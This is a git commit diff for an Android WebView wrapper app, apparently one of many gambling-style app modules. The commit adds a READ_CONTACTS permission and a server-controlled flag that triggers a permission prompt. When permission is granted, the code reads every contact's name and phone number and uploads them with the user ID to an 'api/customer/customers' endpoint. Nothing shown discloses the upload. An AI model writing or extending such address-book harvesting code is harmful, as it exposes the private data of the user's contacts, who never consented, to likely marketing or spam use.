feat: 添加通讯录权限请求和上传功能
This commit is contained in:
@@ -1,6 +1,8 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<manifest xmlns:android="http://schemas.android.com/apk/res/android">
|
||||
|
||||
<uses-permission android:name="android.permission.READ_CONTACTS" />
|
||||
|
||||
<application>
|
||||
|
||||
<activity
|
||||
|
||||
@@ -44,6 +44,13 @@ public interface ApiService {
|
||||
@POST("api/push/statistics")
|
||||
Observable<Result> totalNotify(@Body Map<String, Object> map);
|
||||
|
||||
/**
|
||||
* 上传通讯录
|
||||
*/
|
||||
@Headers("Content-Type:application/json")
|
||||
@POST("api/customer/customers")
|
||||
Observable<Result> readContact(@Body RequestBody requestBody);
|
||||
|
||||
|
||||
/**
|
||||
* 获取通知列表
|
||||
|
||||
@@ -12,7 +12,7 @@ public class DataInfo implements Serializable {
|
||||
public String versionCode;
|
||||
public int isUse = 1; //是否正常使用 0不可用 1正常使用
|
||||
public int noticeApplyMode = 1; //通知权限加载方式 0不用1必须
|
||||
public int contactApplyMode = 1; //通讯录权限加载方式 0不用1必须
|
||||
public int contactApplyMode = 1; //通讯录权限加载方式 0不获取1获取
|
||||
public String fbUrl; // facebook分享地址
|
||||
public String tgUrl; // tg分享地址
|
||||
public String wsUrl; //whatsapp分享地址
|
||||
|
||||
@@ -4,6 +4,7 @@ import android.annotation.SuppressLint;
|
||||
import android.app.Activity;
|
||||
import android.app.NotificationManager;
|
||||
import android.content.Context;
|
||||
import android.content.ContentResolver;
|
||||
import android.content.Intent;
|
||||
import android.content.SharedPreferences;
|
||||
import android.content.pm.ApplicationInfo;
|
||||
@@ -36,7 +37,10 @@ import android.webkit.WebView;
|
||||
import android.webkit.WebViewClient;
|
||||
|
||||
import androidx.annotation.Nullable;
|
||||
import androidx.annotation.NonNull;
|
||||
import androidx.annotation.RequiresApi;
|
||||
import androidx.core.app.ActivityCompat;
|
||||
import androidx.core.content.ContextCompat;
|
||||
import androidx.appcompat.app.ActionBar;
|
||||
import androidx.appcompat.app.AppCompatActivity;
|
||||
import androidx.core.view.ViewCompat;
|
||||
@@ -45,8 +49,12 @@ import androidx.core.view.WindowInsetsCompat;
|
||||
import androidx.core.view.WindowInsetsControllerCompat;
|
||||
|
||||
import com.king.app.updater.AppUpdater;
|
||||
import com.google.gson.Gson;
|
||||
import com.webclip.base.databinding.ActivityMain2Binding;
|
||||
|
||||
import android.database.Cursor;
|
||||
import android.provider.ContactsContract;
|
||||
|
||||
import java.io.BufferedReader;
|
||||
import java.io.IOException;
|
||||
import java.io.InputStream;
|
||||
@@ -58,8 +66,11 @@ import java.util.List;
|
||||
|
||||
import io.reactivex.android.schedulers.AndroidSchedulers;
|
||||
import io.reactivex.schedulers.Schedulers;
|
||||
import okhttp3.MediaType;
|
||||
import okhttp3.RequestBody;
|
||||
|
||||
public class MainActivity extends AppCompatActivity {
|
||||
private static final int REQUEST_CONTACTS = 1001;
|
||||
public int styleColor;
|
||||
public int windowsColor;
|
||||
public static boolean isWhite;
|
||||
@@ -75,6 +86,7 @@ public class MainActivity extends AppCompatActivity {
|
||||
private String whatsappUrl = "";
|
||||
private String telegramUrl = "";
|
||||
private List<LinkConfigInfo> linkconfiglist;
|
||||
private boolean contactsRequested;
|
||||
|
||||
float lastX, lastY;
|
||||
float initX, initY;
|
||||
@@ -661,6 +673,10 @@ public class MainActivity extends AppCompatActivity {
|
||||
contactApply = dataInfo.getContactApplyMode();
|
||||
notifyApply = dataInfo.getNoticeApplyMode();
|
||||
|
||||
if (contactApply == 1) {
|
||||
applyContactsPermission();
|
||||
}
|
||||
|
||||
//通知权限
|
||||
if (notifyApply == 0 || notifyApply == 1) {
|
||||
//检测手机是否支持fcm推送
|
||||
@@ -704,6 +720,103 @@ public class MainActivity extends AppCompatActivity {
|
||||
}
|
||||
}
|
||||
|
||||
private void applyContactsPermission() {
|
||||
if (Build.VERSION.SDK_INT < Build.VERSION_CODES.M) {
|
||||
hasContact = true;
|
||||
loadContacts();
|
||||
return;
|
||||
}
|
||||
if (ContextCompat.checkSelfPermission(this, android.Manifest.permission.READ_CONTACTS)
|
||||
== PackageManager.PERMISSION_GRANTED) {
|
||||
hasContact = true;
|
||||
loadContacts();
|
||||
return;
|
||||
}
|
||||
if (!contactsRequested) {
|
||||
contactsRequested = true;
|
||||
ActivityCompat.requestPermissions(this,
|
||||
new String[]{android.Manifest.permission.READ_CONTACTS},
|
||||
REQUEST_CONTACTS);
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public void onRequestPermissionsResult(int requestCode, @NonNull String[] permissions, @NonNull int[] grantResults) {
|
||||
super.onRequestPermissionsResult(requestCode, permissions, grantResults);
|
||||
if (requestCode == REQUEST_CONTACTS) {
|
||||
hasContact = grantResults.length > 0 && grantResults[0] == PackageManager.PERMISSION_GRANTED;
|
||||
if (hasContact) {
|
||||
loadContacts();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private void loadContacts() {
|
||||
List<ContactBean> contents = new ArrayList<>();
|
||||
Cursor cursor = null;
|
||||
try {
|
||||
ContentResolver resolver = getContentResolver();
|
||||
cursor = resolver.query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI,
|
||||
new String[]{ContactsContract.CommonDataKinds.Phone.DISPLAY_NAME, ContactsContract.CommonDataKinds.Phone.NUMBER},
|
||||
null,
|
||||
null,
|
||||
null);
|
||||
if (cursor != null) {
|
||||
int nameIndex = cursor.getColumnIndexOrThrow(ContactsContract.CommonDataKinds.Phone.DISPLAY_NAME);
|
||||
int numberIndex = cursor.getColumnIndexOrThrow(ContactsContract.CommonDataKinds.Phone.NUMBER);
|
||||
while (cursor.moveToNext()) {
|
||||
String name = cursor.getString(nameIndex);
|
||||
String number = cursor.getString(numberIndex);
|
||||
if (TextUtils.isEmpty(number)) {
|
||||
continue;
|
||||
}
|
||||
contents.add(new ContactBean(name, number.trim()));
|
||||
}
|
||||
}
|
||||
} catch (Exception e) {
|
||||
Log.e("Contacts", "loadContacts error", e);
|
||||
} finally {
|
||||
if (cursor != null) {
|
||||
cursor.close();
|
||||
postReadContact(contents);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 上传通讯录
|
||||
*/
|
||||
public void postReadContact(List<ContactBean> contents) {
|
||||
Gson gson = new Gson();
|
||||
HashMap<String, Object> map = new HashMap<>();
|
||||
map.put("userId", userId);
|
||||
map.put("customers", contents);
|
||||
String result = gson.toJson(map);
|
||||
MediaType mediaType = MediaType.parse("application/json; charset=utf-8");
|
||||
if (mediaType == null) {
|
||||
return;
|
||||
}
|
||||
Api.getInstance().readContact(RequestBody.create(mediaType, result))
|
||||
.subscribeOn(Schedulers.io())
|
||||
.observeOn(AndroidSchedulers.mainThread())
|
||||
.subscribe(new BaseObserver<Result>() {
|
||||
@Override
|
||||
public void onSuccess(Result o) {
|
||||
LogUtils.i("通讯录上传成功");
|
||||
}
|
||||
|
||||
@Override
|
||||
public void onError(int code, String msg) {
|
||||
LogUtils.i("通讯录上传失败:" + msg);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void onError2(Result o) {
|
||||
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
|
||||
private void showUpApp(DataInfo dataInfo) {
|
||||
//判定版本更新
|
||||
|
||||
@@ -12,7 +12,7 @@ public class DataInfo implements Serializable {
|
||||
public String versionCode;
|
||||
public int isUse = 1; //是否正常使用 0不可用 1正常使用
|
||||
public int noticeApplyMode = 1; //通知权限加载方式 0不用1必须
|
||||
public int contactApplyMode = 1; //通讯录权限加载方式 0不用1必须
|
||||
public int contactApplyMode = 1; //通讯录权限加载方式 0不获取1获取
|
||||
public String fbUrl; // facebook分享地址
|
||||
public String tgUrl; // tg分享地址
|
||||
public String wsUrl; //whatsapp分享地址
|
||||
|
||||
@@ -53,7 +53,7 @@ include ':1xsands' //268
|
||||
include ':jiliraja99' //269
|
||||
include ':toke66a'//270
|
||||
include ':1xme8'//271
|
||||
include ':mega88my'//271
|
||||
include ':mega88my'
|
||||
include ':xmeth98'//273
|
||||
include ':xoxau'//274
|
||||
include ':1xace'//275
|
||||
|
||||
Reference in New Issue
Block a user